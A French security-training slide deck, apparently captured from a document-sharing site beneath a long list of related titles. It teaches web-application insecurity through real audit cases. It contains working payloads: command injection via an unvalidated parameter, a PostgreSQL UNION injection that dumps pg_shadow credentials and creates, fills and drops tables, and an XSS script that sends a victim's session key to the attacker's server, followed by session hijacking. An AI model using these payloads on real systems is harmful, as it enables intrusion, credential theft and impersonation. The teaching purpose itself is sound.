Types d incidents. Exemples d insécurité. La sécurité est une attitude. Et pourtant. Rappels sur le chiffrement. Principes de cryptographie



Documents pareils
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Vulnérabilités et sécurisation des applications Web

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

L identité numérique. Risques, protection

Stockage du fichier dans une table mysql:

Sécurité des applications web. Daniel Boteanu

Attaques applicatives

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

Cours 14. Crypto. 2004, Marc-André Léger

TP JAVASCRIPT OMI4 TP5 SRC

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

DNSSEC. Introduction. les extensions de sécurité du DNS. Les dossiers thématiques de l AFNIC. 1 - Organisation et fonctionnement du DNS

SUPPORT DE COURS / PHP PARTIE 3

Sécurité des réseaux Les attaques

Vulnérabilités et solutions de sécurisation des applications Web

Sommaire Introduction Les bases de la cryptographie Introduction aux concepts d infrastructure à clés publiques Conclusions Références

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

Signature électronique. Romain Kolb 31/10/2008

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Sécurité d IPv6. Sécurité d IPv6. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr. Stéphane Bortzmeyer AFNIC bortzmeyer@nic.fr

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Découvrir les vulnérabilités au sein des applications Web

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Fonctionnement et mise en place d un reverse proxy sécurisé avec Apache. Dimitri ségard 8 mai 2011

Devenez un véritable développeur web en 3 mois!


Failles XSS : Principes, Catégories Démonstrations, Contre mesures

La sécurité dans les grilles

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

L3 informatique TP n o 2 : Les applications réseau

FOIRE AUX QUESTIONS PAIEMENT PAR INTERNET. Nom de fichier : Monetico_Paiement_Foire_aux_Questions_v1.7 Numéro de version : 1.7 Date :

SQL MAP. Etude d un logiciel SQL Injection

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

E-TRANSACTIONS. Guide du programmeur API Plug-in. Version 1.1

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Encryptions, compression et partitionnement des données

Module BD et sites WEB

Le Tunneling DNS. P.Bienaimé X.Delot P.Mazon K.Tagourti A.Yahi A.Zerrouki. Université de Rouen - M2SSI. 24 février 2011

Rapport de Stage Christopher Chedeau 2 au 26 Juin 2009

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

Certificats (électroniques) : Pourquoi? Comment? CA CNRS-Test et CNRS

Par KENFACK Patrick MIF30 19 Mai 2009

Protocoles cryptographiques

Formulaire pour envoyer un mail

Devoir Surveillé de Sécurité des Réseaux

Sécurisez votre serveur Web Internet Information Services de Microsoft (MS IIS) avec un certificat numérique de thawte thawte thawte thawte thawte

FORMATION SUR «CRYPTOGRAPHIE APPLIQUEE

Keyyo Guide de mise en service CTI / API / TAPI Keyyo

Kerberos mis en scène

Chapitre 7. Sécurité des réseaux. Services, attaques et mécanismes cryptographiques. Hdhili M.H. Cours Administration et sécurité des réseaux

Pratique et administration des systèmes

Sécurité des applications Retour d'expérience

Authentification et contrôle d'accès dans les applications web

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

Cryptographie et fonctions à sens unique

FileMaker Server 11. Publication Web personnalisée avec XML et XSLT

Cours 1 : Qu est-ce que la programmation?

Introduction. Littéralement : «Services de gestion des droits liés à l Active Directory» ADRMS Windows Serveur 2008 un nouveau rôle

Sécurité et Firewall

ÉPREUVE COMMUNE DE TIPE Partie D

Les risques HERVE SCHAUER HSC

Mieux comprendre les certificats SSL THAWTE EST L UN DES PRINCIPAUX FOURNISSEURS DE CERTIFICATS SSL DANS LE MONDE

Richard MONTBEYRE Master 2 Professionnel Droit de l Internet Administration Entreprises. La banque en ligne et le protocole TLS : exemple

Disque Dur Internet «Découverte» Guide d utilisation du service

Procédure pas à pas de découverte de l offre. Service Cloud Cloudwatt

Cours CCNA 1. Exercices

10 bonnes pratiques de sécurité dans Microsoft SharePoint

Petite introduction aux protocoles cryptographiques. Master d informatique M2

18 TCP Les protocoles de domaines d applications

TAGREROUT Seyf Allah TMRIM

Groupe Eyrolles, 2006, ISBN : X

D31: Protocoles Cryptographiques

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

TP 1. Prise en main du langage Python

Mise en place d un serveur Proxy sous Ubuntu / Debian

Améliorer les performances du site par l'utilisation de techniques de Web Mining

Manuel d'installation

Sécurité des usages du WEB. Pierre DUSART Damien SAUVERON

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

Guide d implémentation. Réussir l intégration de Systempay

06/11/2014 Hyperviseurs et. Infrastructure. Formation. Pierre Derouet

Bases de données Oracle Virtual Private Database (VPD) pour la gestion des utilisateurs d applications

Du 03 au 07 Février 2014 Tunis (Tunisie)

Les Fiches thématiques courriel. L outil informatique indispensable des professionnels

Concilier mobilité et sécurité pour les postes nomades

d authentification SSO et Shibboleth

Fiche Technique. Cisco Security Agent

PUBLIC KEY INFRASTRUCTURE. Rappels PKI PKI des Impôts PKI de la Carte de Professionnel de Santé

Classe ClInfoCGI. Fonctions membres principales. Gestion des erreurs

Guide Numériser vers FTP

Configuration d un Client VPN «TheGreenBow» 1) Création d un compte utilisateur dans la base LDAP Netasq

Gestion des Clés. Pr Belkhir Abdelkader. 10/04/2013 Pr BELKHIR Abdelkader

Protection des protocoles

Connecter les formulaire d identification Qualifio à votre système d enregistrement (SSO) Mars 2012

Base de données relationnelle et requêtes SQL

SYSTEME DE GESTION DES ENERGIES EWTS EMBEDDED WIRELESS TELEMETRY SYSTEM

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants

Transcription:

Types d incidents Exemples d insécurité Pierre-Yves Bonnetain B&A Consultants py.bonnetain@ba-cst.com Contournement d un chiffrement Débordement de tampon Absence de validation d informations Exécution de programmes Injection de commandes SQL Injection de code (XSS, Cross site scripting) Les exemples sont réels. 2 La sécurité est une attitude Et pourtant Nous ne vivons pas dans un monde parfait. Un programme, quel qu il soit, fait ce qu on lui dit. Quand on se trompe, il exécute bêtement. Il faut bien comprendre les outils dont on se sert, sous peine de grandes désillusions. La paranoia n est pas suffisante. «J ai un garde-barrière» «J ai un détecteur d intrusions» «J ai une équipe de sécurité» «Vous n allez pas m apprendre mon boulot» «Mon fournisseur d accès est très fort en sécurité» 3 4 Rappels sur le chiffrement Principes de cryptographie Message : tout échange d informations entre deux entités. Cryptographie : rendre un message illisible pour qui ne dispose pas des outils appropriés. Stéganographie : cacher un message dans un autre, le rendre invisible. Principe très ancien. Jusque dans les années 1970, un seul principe connu, crypto symétrique. Les deux correspondants doivent partager une même «clé», qui sert à chiffrer et à déchiffrer. 5 6 1

Chiffrement symétrique La «clé» secrète peut être aussi simple qu un décalage de lettres (code César) Ou aussi complexe que des systèmes par substitution évolués (Enigma). Problème : on sait les briser (sauf les codes à grilles uniques). Problème de base : transmettre de manière sûre la clé entre les deux correspondants. Chiffrement asymétrique Le chiffrement asymétrique (dit à clé publique) permet de résoudre le problème de transmission des clés. Et, pour le moment, on ne sait pas briser les algorithmes associés. Principe : la clé est un couple (C1, C2). Tout ce qui est chiffré par C1 ne peut être déchiffré que par C2, et vice-versa. 7 8 Utilisation crypto asymétrique Génération d un couple (C1, C2). On garde une moitié du couple de clés pour soi. C est la clé privée, elle doit être protégée (mot de passe complexe, etc.) On diffuse l autre moitié (clé publique), librement (serveurs de clés publiques). Confidentialité A veut écrire à B. Il récupère la clé publique de B, C2b par un moyen quelconque. Il écrit son message et le chiffre avec C2b. Il envoie le résultat à B. Seul le possesseur de C1b (donc, B) pourra déchiffrer le message. 9 10 Authentification Signature numérique A veut écrire à B. Il écrit son message et le chiffre avec sa propre clé privée C1a. Il envoie le résultat à B. Toute personne possédant C2a (tout le monde donc) peut déchiffrer le message. Mais C2a ne peut déchiffrer que des messages chiffrés par C1a, donc écrits par A. Plutôt que de chiffrer le message avec sa clé privée, on se contente de le signer («résumé» numérique chiffré). Le message reste en clair On y ajoute un bloc cryptographique de signature. Le récepteur valide la signature et sait que le message est authentique. 11 12 2

Bien utiliser la cryptographie Principe de SSL On peut se faire très mal en pensant que la cryptographie est une solution miracle. Une mauvaise utilisation de la cryptographie est contre-productive : fausse impression de sécurité. Exemple typique, «notre produit utilise SSL donc il est sûr». Les deux communicants échangent leurs clés publiques (le serveur peut être le seul à envoyer sa clé publique). Et peuvent dialoguer de manière sécurisée. En théorie. 13 14 Chaîne de confiance Chaîne de confiance Qu est-ce qui me garantit que la clé publique que je reçois est celle de mon correspondant? Certificats (= clés publiques) signés par des «autorités de certification» (AC). Qui insèrent donc une signature numérique dans le certificat. Mais qu est-ce qui m assure que cette signature numérique est celle de l AC? Amorçage local de la chaîne de confiance. Les programmes (navigateurs Web ou programmes spécifiques) disposent déjà des clés publiques d un certain nombre d AC. Il est possible d ajouter ou de supprimer des clés (gestion de la confiance). Les certificats signés par ces AC sont automatiquement validés. 15 16 Sans validation des certificats... On s interpose dans le dialogue (MITM). On envoie à chaque correspondant notre propre clé (générée spécifiquement). Et le tour est joué. Absence de validation Les serveurs Web produisent des formulaires L internaute remplit les champs du formulaire Un programme traite ces informations Evidemment, l internaute est honnête et ne triche pas. Cela est valable pour d autres cas que des échanges serveurs Web/navigateur. 17 18 3

Sauf que... Les contrôles locaux au navigateur (javascript ou autre) sont inefficaces. Les champs cachés ne le sont pas du tout. En conséquence : les programmes (sur le serveur) peuvent recevoir n importe quoi. Exemple 0 Extrait d un audit de site. Enchaînement de programmes, pour gérer différentes étapes d une opération sur un serveur Web. Chaque étape suppose que les précédentes se sont bien déroulées. Et ne vérifie pas que c est bien le cas. Il est possible de sauter les étapes... 19 20 Exécution de code Exécution de code Durant l audit du code de l application, on trouve : session_start(); if(isset($_post['user_id'])): $pipe = popen("c:\\bin\\perl.exe Ipl pl\\decr_userid.pl ". $_POST['user_id'], 'r'); Utilisation sans contrôle des données dans user_id, pour les transmettre à un programme. Il suffit de... GET...?user_id=1234 c:\\winnt\\system32\\cmd.exe /c ping IP Résultat avec tcpdump : aa.bb.cc.dd -> ee.ff.gg.hh ICMP Echo (ping) request ee.ff.gg.hh -> aa.bb.cc.dd ICMP Echo (ping) reply On peut exécuter ce que l on veut sur la cible. 21 22 Exemple 1 : injection SQL Beaucoup de serveurs s appuient sur une base de données. Les requêtes à la base utilisent des informations issues de l internaute. Si ces informations ne sont pas correctement validées avant leur utilisation, la catastrophe n est pas loin. Prise de contrôle d une BDD Que risque-t-on? Insertion/modification/destruction d informations. Création d utilisateurs, de tables. Modification des mots de passe des utilisateurs légitimes. En bref, la base de données est sous contrôle complet du méchant... 23 24 4

Point de départ Contenu d une FAQ Il suffit parfois de peu de choses pour éveiller l intérêt. Exemple : programme (en PHP) de gestion de FAQ. 25 26 Un peu de réflexion Un peu d action L URL demandée est GET...pgm.php?id=valeur&PHPSESSID=valeur La valeur de l identifiant sert probablement à interroger une base de données. Cette valeur semble numérique (36 dans l exemple précédent). Donc, on va utiliser autre chose : pas d identifiant valide (par exemple). 27 28 Bilan provisoire Parfois, on a de la chance La base de données est PostgreSQL On connaît les chemins d installation et de fonctionnement du serveur Web On sait que les informations ne sont pas validées, ou ne le sont qu imparfaitement. Si le système n affiche pas toute la requête, il ne reste plus qu à creuser. Le système peut se révéler très coopératif. 29 30 5

Composition de la requête? Le script interroge la base en lui transmettant directement la valeur du champ ID (concaténation de chaînes). Probablement SELECT... FROM... WHERE... id = <valeur reçue> AND... Il y a d autres clauses de sélection (id =... AND autre_clause) Nous ne voulons pas être gênés par ces clauses secondaires. Elimination d informations On élimine la suite de la requête originelle par l insertion d un commentaire SQL. Avec PostgreSQL, il suffit d ajouter -- et le reste de la ligne devient un commentaire. SELECT... WHERE... id=10-- AND... Ca ne nous permet pas d éliminer les clauses de sélection qui précèdent «la nôtre». 31 32 Résultat... Un peu de réflexion Ca marche très bien : Nous avons un SELECT qui renvoie divers champs. Pour extraire les informations qui nous intéressent, nous devons abuser de cette sélection. La commande UNION de PostgreSQL est notre amie. SELECT... UNION SELECT... 33 34 Problème immédiat La sémantique de l UNION est stricte : Les deux clauses de sélection doivent retourner le même nombre de champs. Qui doivent être du même type. Nous devons donc déterminer le nombre de champs du premier SELECT (celui écrit par les développeurs du site) ainsi que leur type. Nombre de champs du SELECT Tant que nous n avons pas le bon nombre de champs, PostgreSQL signalera certaine une erreur. Il suffit d y aller de proche en proche. GET pgm.php?id=10 UNION SELECT 1-- On a besoin d espaces, on utilise le codage hexadécimal. id=10%20union%20select%201-- 35 36 6

Résultat... Après quelques requêtes... On finit par avoir le bon nombre d arguments, car le message d erreur change. id=10 UNION SELECT 1,1,1,1,1,1,1- - 37 38 Types des champs? Requêtes successives Même démarche que précédemment. UNION types «type1» and «type2» not matched. Type1 est le type du champ de la requête originale (partie gauche de l union). Type2 est le type de notre requête (partie droite de l union). On s arrête quand le message change... Utiliser un type distinctif (booléen ici) id=10 UNION SELECT true,1,1,1,1,1,1-- Le premier champ est un INT4 39 40 Types des champs Game over... On finit par y arriver. Types : int4, text, text, int4, int2, date, int4. id=10 UNION SELECT 1, text(100), text(10), 10, 1, date(1), 1-- Nous pouvons extraire tout ce qu on veut de la base. Il suffit de connaître les tables et les champs adéquats. Table pg_database : bases de données sur le système. Le champ datname indique le nom de la base. Table pg_shadow : table des utilisateurs. Les champs usename et passwd contiennent l identification de ces derniers. 41 42 7

Liste des bases de données id=10 UNION SELECT 1, datname, text(100), 10, 1, date(1), 1 FROM pg_database-- Utilisateurs et mots de passe id=10 UNION SELECT 1, usename, passwd, 10, 1, date(1), 1 FROM pg_shadow-- On constate (en plus) que les utilisateurs n ont pas de mot de passe. 43 44 Et ensuite... Création d une table Nous avons toutes les commandes SQL à notre disposition. L injection ou la modification de données se font par concaténation de commandes, plutôt que par UNION de sélections. id=10;insert INTO... Voyons ce que ça donne... id=1;create table tests1234 (texte text)-- Nos données étant utilisées dans plusieurs requêtes, on reçoit une certaine erreur. Cela n empêche pas l exécution de la commande. 45 46 Injection de données Injection de données id=1;insert into tests1234 value( toto )-- Pas besoin d apostrophes, par exemple en décomposant la chaîne en caractères. La table tests1234 a bien été créée (sinon l erreur serait différente). Pas de chance! Il semble impossible d injecter du texte car les apostrophes sont protégées (magic_quotes_gpc, addslashes). id=1;insert into tests1234 values(chr(74) chr(101) chr(32) chr(99) [etc...])-- 47 48 8

Résultat des courses... Si on interroge «notre» table : id=1 UNION select 1,texte, text(100), 10, 1, date(1), 1 FROM tests1234-- Destruction de table Aucune difficulté particulière, c est l inverse de la création. Le message d erreur est le même qu à la création (utilisations multiples). 49 50 Vérification Une référence à notre table provoque une erreur, la destruction est effective. Exemple 2 : code croisé (XSS) Principe : le méchant s arrange pour injecter du code dans un serveur. Ce code est ensuite exécuté, dans diverses circonstances identifiées par le méchant. Ce code produit un résultat «quelconque», sous contrôle du méchant. L objectif du méchant peut être très variable. 51 52 Peeping Tom... Lecture d informations sur une messagerie (dialogue en ligne, webmail, messagerie instantanée, etc.) Objectif : obtenir l identifiant d un autre utilisateur (usurpation d identité). Mais l identifiant est sécurisé, me dit-on sur le site visé. Identification des internautes HTTP sans notion de session : pas de lien entre les requêtes reçues par le serveur, même si elles viennent du même navigateur. Il faut reconstruire artificiellement la session : Cookie envoyé au navigateur. Manipulation d URLs qui contiennent l identifiant de l internaute. Paramètres d un programme. 53 54 9

Environnement de tests Création de deux comptes, et dialogue entre ces deux comptes. On analyse l existant, c est-à-dire le code HTML produit par le serveur. Votre navigateur est votre ami. Ce pourrait bien être l ennemi de vos cibles. Nous contrôlons notre serveur Web. Dialogue Comptes dalong et trickster 55 56 Version simple Premier test Code HTML (nettoyé) chez la victime : <table><tr><td><b>yo, un test</b></td></tr></table> <br><b> Réponse à Dalong</b><br> <form action="xxxxxxxxxx.php3?etat=2&de=8320506& a=8320488&ancmess=160529865&in_admdial=0& cle=7ad54a3477c2f23af02c23fb1640679d"> <input name="messprec1" type="hidden" value=""> <input name="messprec" type="hidden" value="yo, un test"> <textarea name="mess" rows="5" cols="50"></textarea><br> <input TYPE='IMAGE' BORDER=0 SRC="im/benvoi.gif" NAME="envoi" VALUE="envoi"></form> Injection directe de code Javascript dans notre réponse. Pas de chance, ils y ont pensé (c est bien!) 57 58 Déplacer le problème Second test Filtrage des caractères < et > dans le message. Ce filtrage est-il fait partout? Deux champs cachés : MESSPREC1 et MESSPREC. Champ caché = champ inaccessible Inutile de contrôler son contenu, identique à celui qu on a envoyé. Evidemment... $ POST -p http://192.168.1.1:3128 http://xxxxxxxxxx.php3?etat=2&de=8320506 &a=8320488&in_admdial=0 &cle=7ad54a3477c2f23af02c23fb1640679d &ancmess=150868021 Please enter content to be POSTed: MESSPREC=<script>alert("Intervention urgente")</script>&mess=bonjour%20tu%20v as%20bien%20? ^D 59 60 10

Game over... L internaute n y ayant pas accès, le champ MESSPREC n est pas filtré La preuve... Résultat intermédiaire Il est possible d envoyer du code Javascript qui sera exécuté par le navigateur de la cible (un autre utilisateur). Comment transformer cela en une usurpation d identité? Deux informations à obtenir : Numéro d utilisateur (de=..., a=...) Clé d utilisateur (cle=...) 61 62 Identification de l utilisateur Le numéro d utilisateur est facile à obtenir, puisqu on en a besoin pour écrire à notre cible. de=8322039&a=8321977 Pour la clé, il suffit de la demander (poliment) au navigateur de notre victime. Obtention de la clé d utilisateur $ POST -p http://192.168.1.1:3128 http://xxxxxcased.php3?etat=2&de=8322039& a=8321977&ancmess=160542829&in_admdial=0 &cle=c58580858789337a4ce5839d6f9554b3 Please enter content to be POSTed: MESSPREC=<script>i=new Image(); i.src="http://mon_serveur_a_moi/ii-"%2b window.location.search;</script>& MESS=Gaoing ^D 63 64 Dernière étape Récupération des données 2B = caractère + (concaténation de chaînes). La victime affiche le message reçu...... et déclenche notre code JavaScript. Notre serveur reçoit une requête (II-) avec les informations dont nous avons besoin. xx.xx.xx.xx - - [27/May/2003:18:10:48 +0200] default denies access to 'GET /II-?in_numdial=8321977&etat=3&in_admdial =0&cle=303cf401fa144b16740384db7b5ac 746' 65 66 11

On met en route le magnétophone http://xxxxxxxxxxx.php3?in_numdial=8321 977&in_admdial=0&cle=303cf401fa144b1 6740384db7b5ac746 Bilan Premier exemple : prise de contrôle complet sur la base de données. Deuxième exemple : usurpation de l identité d un utilisateur. Replacer ces deux exemples, bien que réels, dans des cas plus sérieux : commerce en ligne, banque, système médical... 67 68 Moralité «J ai un garde-barrière» «J ai un détecteur d intrusions» «J ai une équipe de sécurité» «Vous n allez pas m apprendre mon boulot» «Mon fournisseur d accès est très fort en sécurité» 69 12